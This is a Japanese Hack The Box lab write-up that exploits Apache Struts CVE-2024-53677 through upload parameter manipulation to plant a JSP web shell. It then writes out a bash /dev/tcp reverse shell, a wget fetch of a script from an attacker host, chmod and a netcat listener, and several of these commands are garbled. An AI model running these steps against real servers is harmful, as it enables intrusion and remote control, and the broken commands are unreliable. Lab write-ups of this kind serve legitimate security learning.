
Apache Struts CVE-2024-53677 エクスプロイト
CVE-2024-53677 は、Apache Struts 2.0.0 から 6.4.0 未満に影響する脆弱性です。⚠️ これは Hack The Box ラボで悪用されました。
Apache Struts のファイルアップロードロジックには欠陥があります。攻撃者はファイルアップロードパラメータを操作してパストラバーサルを可能にし、状況によっては、リモートコード実行(RCE)に使用できる悪意のあるファイルのアップロードにつながる可能性があります。 🔗 参照: NIST NVD エントリ
pom.xml により Apache Struts 6.3.0.1 が判明📸 pom.xml の露出:

この脆弱性を悪用するために、送信前にパケットを改変する目的で BurpSuite とその Repeater 機能を使用します。以下が未編集のリクエストです。
問題は、サイトが [JPG, JPEG, PNG, GIF] 以外のファイルタイプをブロックすることと、/uploads ディレクトリ内のファイルが実行不可であることです。これらの問題を回避するために、まず別のパラメータを追加します。
改変したパラメータを追加すると、サーバーの応答によりファイルが正常にアップロードされたことが確認できます。ただし、ファイルパスが通常のアップロードディレクトリとは異なることに気づきます。
次に、画像データの直下かつ注入したパラメータの直前にペイロードを追加して埋め込みます。シェルのペイロードは 🔗 参照: shell.jsp から入手できます。 さらに、重要な詳細として、リクエストでは小文字の upload ではなく大文字の U で「Upload」と指定する必要があります。これは 🔗 参照: exploit.py で確認されたエクスプロイト構造に従ったものです。
これらの変更を加えた状態でリクエストを送信すると、サーバーは同様に応答し、アップロードの成功を確認して調整後のファイルパスを返します。
次に、以下の URL にアクセスすることで、アップロードしたシェルを操作できます。
ip/shelll.jsp?action=cmd&cmd=id
この段階で、ローカルでホストした Web サーバーを使用してリバースシェルを確立できます。これを実現する簡単な方法は Python を使用することです: python3 http.server -m 3004
次に、基本的なシェルスクリプト(例:shell.sh)を作成します。 cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
wget を使用してダウンロードします。 wget http://ip_address/filename -O /tmp
ダウンロード後、実行権限を付与します。 chmod +777 /tmp/filename
次に、nc(netcat)を使用してリバースシェルを待ち受けます。 nc -lvnp $PORT
最後に実行します。 ./filename